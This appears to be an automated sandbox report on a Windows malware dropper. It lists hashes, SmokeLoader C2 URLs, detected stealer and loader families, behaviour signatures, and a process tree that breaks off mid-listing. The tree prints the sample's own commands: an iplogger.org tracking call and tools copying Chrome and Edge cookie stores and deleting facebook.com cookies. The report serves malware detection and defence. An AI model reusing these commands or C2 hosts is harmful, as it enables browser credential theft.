Overview

overview

10

Static

static

EB72339228...47.exe

windows7_x64

10

EB72339228...47.exe

windows11_x64

10

EB72339228...47.exe

windows10_x64

Resubmissions

19-08-2021 18:59

210819-yrzbdtvqln 10

18-08-2021 20:25

210818-4hztrzavcs 10

18-08-2021 17:24

210818-9p8lqjhwv2 10

17-08-2021 06:12

210817-kl4jvaaq7x 10

16-08-2021 10:04

210816-nwc3tqkr3a 10

16-08-2021 10:04

210816-5r5rafnh7e 10

16-08-2021 10:04

210816-kdgh648t5e 10

16-08-2021 09:37

210816-9esgfwsmfe 10

16-08-2021 08:13

210816-26la9rblgn 10

17-08-2021 08:51

210817-w2l5yq2wln

Analysis

  • max time kernel
    178s
  • max time network
    651s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    16-08-2021 08:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    EB7233922891E1DAD0434FBD52623647.exe

  • Size

    7.9MB

  • MD5

    eb7233922891e1dad0434fbd52623647

  • SHA1

    331126b108532ab9a1e932141bff55a38656bce9

  • SHA256

    b39e29c24003441609c457a3455cae9d9fb6f4462f5e06d0c1d317d243711cb8

  • SHA512

    597fbb0f397c45c8a2c5f63893c6d6bd4641e952510dfcac05dadb7afaaf4e005df1261649d4e79951979bad0be1fb09feebac7a6d23c31679590cbf40e1d4ac

Score
10/10
gluptebametasploitraccoonredlinesmokeloadersocelarsvidarzloaderbackdoorbotnetdiscoverydropperevasioninfostealerloaderpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/
rc4.i32
rc4.i32

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 1 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Suspicious use of NtCreateProcessExOtherParentProcess 17 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

    trojanbotnetzloader
  • evasion 6 IoCs

    evasion.

    evasion
  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 1 IoCs
    stealer
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 53 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 31 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 17 IoCs
  • Checks SCSI registry key(s) 3 TTPs 27 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Enumerates system info in registry 2 TTPs 39 IoCs
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 14 IoCs
    evasionspywaretrojan
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 37 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 45 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe
    "C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Users\Admin\AppData\Roaming\1470615.exe
        "C:\Users\Admin\AppData\Roaming\1470615.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5676
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 5676 -s 2360
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          PID:5796
      • C:\Users\Admin\AppData\Roaming\8746557.exe
        "C:\Users\Admin\AppData\Roaming\8746557.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:5772
        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
          4⤵
          • Executes dropped EXE
          PID:2444
      • C:\Users\Admin\AppData\Roaming\1331462.exe
        "C:\Users\Admin\AppData\Roaming\1331462.exe"
        3⤵
          PID:5856
        • C:\Users\Admin\AppData\Roaming\8607405.exe
          "C:\Users\Admin\AppData\Roaming\8607405.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:5916
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5916 -s 1556
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            PID:3484
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/19Pfw7
        2⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:5436
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x84,0xe4,0x108,0x80,0x10c,0x7ffef2fe46f8,0x7ffef2fe4708,0x7ffef2fe4718
          3⤵
            PID:1192
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
            3⤵
              PID:3912
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4252
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2700 /prefetch:8
              3⤵
                PID:556
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
                3⤵
                  PID:5868
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
                  3⤵
                    PID:1212
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5152 /prefetch:8
                    3⤵
                      PID:3880
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5152 /prefetch:8
                      3⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2440
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4828 /prefetch:8
                      3⤵
                        PID:6552
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                        3⤵
                          PID:6816
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
                          3⤵
                            PID:7028
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
                            3⤵
                              PID:2536
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
                              3⤵
                                PID:4416
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,13609043222537754452,17358886152165506414,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5792 /prefetch:2
                                3⤵
                                  PID:8000
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:5528
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe" -a
                                  3⤵
                                    PID:2420
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe
                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe"
                                  2⤵
                                    PID:5968
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 240
                                      3⤵
                                      • Program crash
                                      PID:2420
                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe
                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:1172
                                    • C:\Users\Admin\Documents\JY94WQQaT7F9U5WW77kIxPEF.exe
                                      "C:\Users\Admin\Documents\JY94WQQaT7F9U5WW77kIxPEF.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:5612
                                      • C:\Users\Admin\Documents\JY94WQQaT7F9U5WW77kIxPEF.exe
                                        C:\Users\Admin\Documents\JY94WQQaT7F9U5WW77kIxPEF.exe
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5256
                                    • C:\Users\Admin\Documents\xEL0UOsp9f5GdO130zgfqNJ8.exe
                                      "C:\Users\Admin\Documents\xEL0UOsp9f5GdO130zgfqNJ8.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:2344
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2344 -s 296
                                        4⤵
                                        • Program crash
                                        • Checks processor information in registry
                                        • Enumerates system info in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2084
                                    • C:\Users\Admin\Documents\OwOf1A4hkWQqEkrB13_paZa8.exe
                                      "C:\Users\Admin\Documents\OwOf1A4hkWQqEkrB13_paZa8.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4136
                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4700
                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:6224
                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:3924
                                    • C:\Users\Admin\Documents\3rNFvXzLXMlNFCvc32Oqh9Ch.exe
                                      "C:\Users\Admin\Documents\3rNFvXzLXMlNFCvc32Oqh9Ch.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Drops file in Program Files directory
                                      • Suspicious use of SetWindowsHookEx
                                      PID:496
                                      • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        • Suspicious use of SetWindowsHookEx
                                        PID:6512
                                      • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                        "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Drops startup file
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4808
                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:7024
                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1852
                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:6612
                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:6044
                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Suspicious use of SetWindowsHookEx
                                          PID:6572
                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                          5⤵
                                          • Suspicious use of SetWindowsHookEx
                                          PID:5540
                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Suspicious use of SetWindowsHookEx
                                          PID:7836
                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                          5⤵
                                          • Suspicious use of SetWindowsHookEx
                                          PID:7956
                                      • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                        "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:3540
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:6316
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1904
                                    • C:\Users\Admin\Documents\B9O6bq19rea6BpyKuUJzYQ6Q.exe
                                      "C:\Users\Admin\Documents\B9O6bq19rea6BpyKuUJzYQ6Q.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5748
                                    • C:\Users\Admin\Documents\TFHkMhqeTSNcqQMPGLxmtN9g.exe
                                      "C:\Users\Admin\Documents\TFHkMhqeTSNcqQMPGLxmtN9g.exe"
                                      3⤵
                                        PID:5204
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5204 -s 300
                                          4⤵
                                          • Program crash
                                          PID:7132
                                      • C:\Users\Admin\Documents\fVqhXPVEa95IDkaUhXHBvgdO.exe
                                        "C:\Users\Admin\Documents\fVqhXPVEa95IDkaUhXHBvgdO.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5656
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5656 -s 312
                                          4⤵
                                          • Program crash
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1992
                                      • C:\Users\Admin\Documents\XXfonD7r0ujlJOE69vCARQwf.exe
                                        "C:\Users\Admin\Documents\XXfonD7r0ujlJOE69vCARQwf.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:5636
                                        • C:\Users\Admin\Documents\XXfonD7r0ujlJOE69vCARQwf.exe
                                          "C:\Users\Admin\Documents\XXfonD7r0ujlJOE69vCARQwf.exe"
                                          4⤵
                                            PID:804
                                        • C:\Users\Admin\Documents\sBf7se8pdHa7It2u292JAYsq.exe
                                          "C:\Users\Admin\Documents\sBf7se8pdHa7It2u292JAYsq.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          PID:5552
                                          • C:\Users\Admin\Documents\sBf7se8pdHa7It2u292JAYsq.exe
                                            "C:\Users\Admin\Documents\sBf7se8pdHa7It2u292JAYsq.exe"
                                            4⤵
                                            • Suspicious use of SetWindowsHookEx
                                            PID:6256
                                        • C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe
                                          "C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:2420
                                          • C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe
                                            C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe
                                            4⤵
                                              PID:5828
                                            • C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe
                                              C:\Users\Admin\Documents\y_b0wCZGcPi6yl3YyF3GVSz5.exe
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4396
                                          • C:\Users\Admin\Documents\nO03ABkh7hdqIUnSBO69uWWI.exe
                                            "C:\Users\Admin\Documents\nO03ABkh7hdqIUnSBO69uWWI.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5328
                                            • C:\Users\Admin\Documents\nO03ABkh7hdqIUnSBO69uWWI.exe
                                              "C:\Users\Admin\Documents\nO03ABkh7hdqIUnSBO69uWWI.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:6740
                                          • C:\Users\Admin\Documents\dSoPTyxhok6cHs2ybW6rnWhT.exe
                                            "C:\Users\Admin\Documents\dSoPTyxhok6cHs2ybW6rnWhT.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:6024
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 6024 -s 240
                                              4⤵
                                              • Program crash
                                              • Checks processor information in registry
                                              • Enumerates system info in registry
                                              PID:5444
                                          • C:\Users\Admin\Documents\ys8YRG5UgmpkjNZexReC2Xbd.exe
                                            "C:\Users\Admin\Documents\ys8YRG5UgmpkjNZexReC2Xbd.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5968
                                            • C:\Users\Admin\Documents\ys8YRG5UgmpkjNZexReC2Xbd.exe
                                              "C:\Users\Admin\Documents\ys8YRG5UgmpkjNZexReC2Xbd.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Checks SCSI registry key(s)
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: MapViewOfSection
                                              PID:6840
                                          • C:\Users\Admin\Documents\wo2fMrz_7qjffU_x_shlqyk0.exe
